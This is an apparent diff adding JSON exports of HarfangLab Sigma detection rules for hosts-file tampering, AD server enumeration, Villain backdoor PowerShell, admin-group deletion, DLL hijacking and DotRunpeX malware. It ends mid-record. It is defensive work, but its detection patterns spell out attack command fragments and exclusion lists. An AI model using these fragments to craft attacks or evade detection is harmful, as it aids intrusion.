'/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n        - ProcessParentImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n        - ProcessAncestors|contains: '|/usr/bin/containerd|'\n\n    exclusion_container:\n        - ProcessParentImage:\n            - '/usr/bin/containerd-shim'\n            - '/usr/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains:\n            - '/usr/bin/containerd-shim'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/lxc-start|'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_podman:\n        - ProcessImage: '/usr/bin/podman'\n        - ProcessAncestors|contains: '/usr/bin/podman'\n\n    exclusion_aerohive:\n        ProcessGrandparentProcessName: 'aerohive-config'\n        ProcessCommandLine: 'cp -f /tmp/hosts.new /etc/hosts'\n\n    # https://github.com/GoogleCloudPlatform/guest-configs/blob/master/src/usr/bin/google_set_hostname\n    exclusion_googlecloud1:\n        ProcessCommandLine: '/bin/sh /sbin/dhclient-script'\n        ProcessParentImage: '/sbin/dhclient'\n\n    exclusion_googlecloud2:\n        ProcessCommandLine: 'sed -i /Added by Google/d /etc/hosts'\n        ProcessParentCommandLine: '/bin/sh /sbin/dhclient-script'\n\n    exclusion_veritas:\n        ProcessCommandLine: '/usr/bin/python /opt/VRTScloudpoint/bin/flexsnap-agent.py'\n\n    exclusion_proxmox:\n        - ProcessCommandLine: 'pvedaemon'\n        - ProcessAncestors|contains: '|/usr/libexec/proxmox/proxmox-termproxy|'\n\n    exclusion_tee_append:\n        ProcessImage: '/usr/bin/tee'\n        ProcessCommandLine|startswith: 'tee -a '\n\n    exclusion_nixos:\n        ProcessGrandparentImage: '/nix/store/*-switch-to-configuration-*/bin/switch-to-configuration'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4dbbc098-7309-4a0f-9571-5757305e0261",
+  "rule_name": "Suspicious Modification of /etc/hosts",
+  "rule_description": "Detects a suspicious attempt to modify /etc/hosts.\nThis file is part of the network configuration and can be modified to falsify hosts resolution.\nIt is recommended to ensure that the file has been modified by a legitimate process and that the new content is not malicious.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4e1fe352-a793-486e-8df4-20205d11b905",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627123Z",
+  "creation_date": "2026-03-23T11:45:34.627125Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627130Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814",
+    "https://blog.talosintelligence.com/emerging-interlock-ransomware/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_windows_servers_enumeration_powershell.yml",
+  "content": "title: Windows Servers Enumeration via PowerShell\nid: 4e1fe352-a793-486e-8df4-20205d11b905\ndescription: |\n    Detects the use of PowerShell to enumerate computer objects in Active Directory related to Windows Server operating systems.\n    This may indicate reconnaissance activity focused on identifying server assets for further compromise.\n    It is recommended to analyze the parent process as well as other commands executed in the same PowerShell session to look for malicious content or actions.\nreferences:\n    - https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814\n    - https://blog.talosintelligence.com/emerging-interlock-ransomware/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2025/07/10\nmodified: 2026/02/13\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - 'DirectoryServices.DirectorySearcher'\n            - 'objectCategory=Computer'\n            - '.PropertiesToLoad.Add('\n            - '.findAll()'\n            - 'operatingsystem'\n            - '-match'\n            - 'Windows Server'\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    exclusion_dbatools:\n        PowershellCommand|contains|all:\n            - '### DO NOT EDIT THIS FILE DIRECTLY ###'\n            - '#.ExternalHelp dbatools-Help.xml'\n            - 'function Add-DbaAgDatabase {'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4e1fe352-a793-486e-8df4-20205d11b905",
+  "rule_name": "Windows Servers Enumeration via PowerShell",
+  "rule_description": "Detects the use of PowerShell to enumerate computer objects in Active Directory related to Windows Server operating systems.\nThis may indicate reconnaissance activity focused on identifying server assets for further compromise.\nIt is recommended to analyze the parent process as well as other commands executed in the same PowerShell session to look for malicious content or actions.\n",
+  "rule_creation_date": "2025-07-10",
+  "rule_modified_date": "2026-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4e359ad0-b742-4cbb-b891-6e4324df0c1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084466Z",
+  "creation_date": "2026-03-23T11:45:34.084468Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084472Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/t3l3machus/Villain",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1132/001/"
+  ],
+  "name": "t1059_001_powershell_villain_backdoor_obfuscated.yml",
+  "content": "title: Suspicious PowerShell Obfuscated Command linked to Villain\nid: 4e359ad0-b742-4cbb-b891-6e4324df0c1f\ndescription: |\n    Detects PowerShell commands executing a Villain-obfuscated payload.\n    Villain is a Windows & Linux backdoor generator and multi-session handler.\n    The framework allows attackers to instantiate shells and control other machines running Villain in the network.\n    It is recommended to investigate the PowerShell command as well as other malicious commands executed on the host to determine legitimacy.\nreferences:\n    - https://github.com/t3l3machus/Villain\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1132/001/\ndate: 2022/12/06\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1132.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.Villain\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - '$*$*/????????'\n            - '$env:COMPUTERNAME'\n            - '$env:USERNAME'\n            - '-Method POST'\n            - '-Headers @{Authorization='\n            - '-ur? $*$*/????????'\n            - '-join'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4e359ad0-b742-4cbb-b891-6e4324df0c1f",
+  "rule_name": "Suspicious PowerShell Obfuscated Command linked to Villain",
+  "rule_description": "Detects PowerShell commands executing a Villain-obfuscated payload.\nVillain is a Windows & Linux backdoor generator and multi-session handler.\nThe framework allows attackers to instantiate shells and control other machines running Villain in the network.\nIt is recommended to investigate the PowerShell command as well as other malicious commands executed on the host to determine legitimacy.\n",
+  "rule_creation_date": "2022-12-06",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1132.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4e41f7ae-28b5-46f8-a490-18dd0a687c26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622974Z",
+  "creation_date": "2026-03-23T11:45:34.622976Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622980Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1531/"
+  ],
+  "name": "t1531_delete_user_from_administrators_group.yml",
+  "content": "title: User Administrators Group Deleted via net.exe\nid: 4e41f7ae-28b5-46f8-a490-18dd0a687c26\ndescription: |\n    Detects the execution of net command to delete a user from an administrators group.\n    Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\n    This can hamper recovery actions and render access difficult to infected machines.\n    It is recommended to investigate the process at the origin of the execution of the \"net\" command to determine whether this action is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1531/\ndate: 2021/12/21\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1531\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_net:\n        - Image|endswith: '\\net1.exe'\n        - OriginalFileName: 'net1.exe'\n\n    selection_group:\n        CommandLine|contains:\n            - ' localgroup '\n            - ' group '\n            - ' groups '\n\n    # Matches administrators, administrateurs, domain admin, ...\n    selection_admin:\n        CommandLine|contains: 'admin'\n\n    selection_deletion:\n        CommandLine|contains:\n            - '/delete'\n            - '/del'\n            - '\\delete'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Windows\\CCM\\TSMBootstrap.exe'\n            - '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\ZenworksWindowsService.exe'\n            - '?:\\Program Files (x86)\\\\*\\winpty-agent.exe'\n\n    exclusion_schedule:\n        ProcessParentGrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4e41f7ae-28b5-46f8-a490-18dd0a687c26",
+  "rule_name": "User Administrators Group Deleted via net.exe",
+  "rule_description": "Detects the execution of net command to delete a user from an administrators group.\nAdversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nThis can hamper recovery actions and render access difficult to infected machines.\nIt is recommended to investigate the process at the origin of the execution of the \"net\" command to determine whether this action is legitimate.\n",
+  "rule_creation_date": "2021-12-21",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1531"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4e751948-6a09-4460-963e-1bc188aad0ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594615Z",
+  "creation_date": "2026-03-23T11:45:34.594618Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594626Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_certutil.yml",
+  "content": "title: DLL Hijacking via certutil.exe\nid: 4e751948-6a09-4460-963e-1bc188aad0ae\ndescription: |\n    Detects potential Windows DLL Hijacking via certutil.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'certutil.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\certcli.dll'\n            - '\\CRYPTUI.dll'\n            - '\\DSROLE.DLL'\n            - '\\LOGONCLI.DLL'\n            - '\\ncrypt.dll'\n            - '\\netapi32.dll'\n            - '\\NETUTILS.DLL'\n            - '\\NTDSAPI.dll'\n            - '\\SAMCLI.DLL'\n            - '\\secur32.dll'\n            - '\\SSPICLI.DLL'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4e751948-6a09-4460-963e-1bc188aad0ae",
+  "rule_name": "DLL Hijacking via certutil.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via certutil.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4e8149a4-c0a1-4afd-abbf-ca10b45c941a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592521Z",
+  "creation_date": "2026-03-23T11:45:34.592525Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592532Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bdechangepin.yml",
+  "content": "title: DLL Hijacking via bdechangepin.exe\nid: 4e8149a4-c0a1-4afd-abbf-ca10b45c941a\ndescription: |\n    Detects potential Windows DLL Hijacking via bdechangepin.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bdechangepin.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\FVEAPI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4e8149a4-c0a1-4afd-abbf-ca10b45c941a",
+  "rule_name": "DLL Hijacking via bdechangepin.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bdechangepin.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4e8d2d23-6207-41ca-81a0-179883d4ed44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604169Z",
+  "creation_date": "2026-03-23T11:45:34.604172Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604180Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/",
+    "https://cert.pl/en/posts/2023/09/unpacking-whats-packed-dotrunpex/",
+    "https://attack.mitre.org/techniques/T1055/012/"
+  ],
+  "name": "t1055_012_dotrunpex_malware.yml",
+  "content": "title: DotRunpeX Malware Executed\nid: 4e8d2d23-6207-41ca-81a0-179883d4ed44\ndescription: |\n    Detects the execution of the DotRunpeX malware.\n    DotRunpeX is a .NET injector which is usually part of a second-stage infection.\n    It is used to deliver numerous malware families and it is based on a custom version of KoiVM for obfuscation.\n    It is recommended to examine the process tree associated with this process to try and identify which malware was delivered, as well as to try to determine the original source of infection.\nreferences:\n    - https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/\n    - https://cert.pl/en/posts/2023/09/unpacking-whats-packed-dotrunpex/\n    - https://attack.mitre.org/techniques/T1055/012/\ndate: 2023/09/18\nmodified: 2025/03/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.012\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.DotRunpeX\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        - Product|contains: 'RunpeX.Stub.Framework'\n        - OriginalFileName|contains: 'RunpeX.Stub.Framework'\n        - Description|contains: 'RunpeX.Stub.Framework'\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4e8d2d23-6207-41ca-81a0-179883d4ed44",
+  "rule_name": "DotRunpeX Malware Executed",
+  "rule_description": "Detects the execution of the DotRunpeX malware.\nDotRunpeX is a .NET injector which is usually part of a second-stage infection.\nIt is used to deliver numerous malware families and it is based on a custom version of KoiVM for obfuscation.\nIt is recommended to examine the process tree associated with this process to try and identify which malware was delivered, as well as to try to determine the original source of infection.\n",
+  "rule_creation_date": "2023-09-18",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4e92ac72-e71c-4853-84f1-57cb55968cd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072614Z",
+  "creation_date": "2026-03-23T11:45:34.072616Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072620Z",
+  "rule_level": "medium",
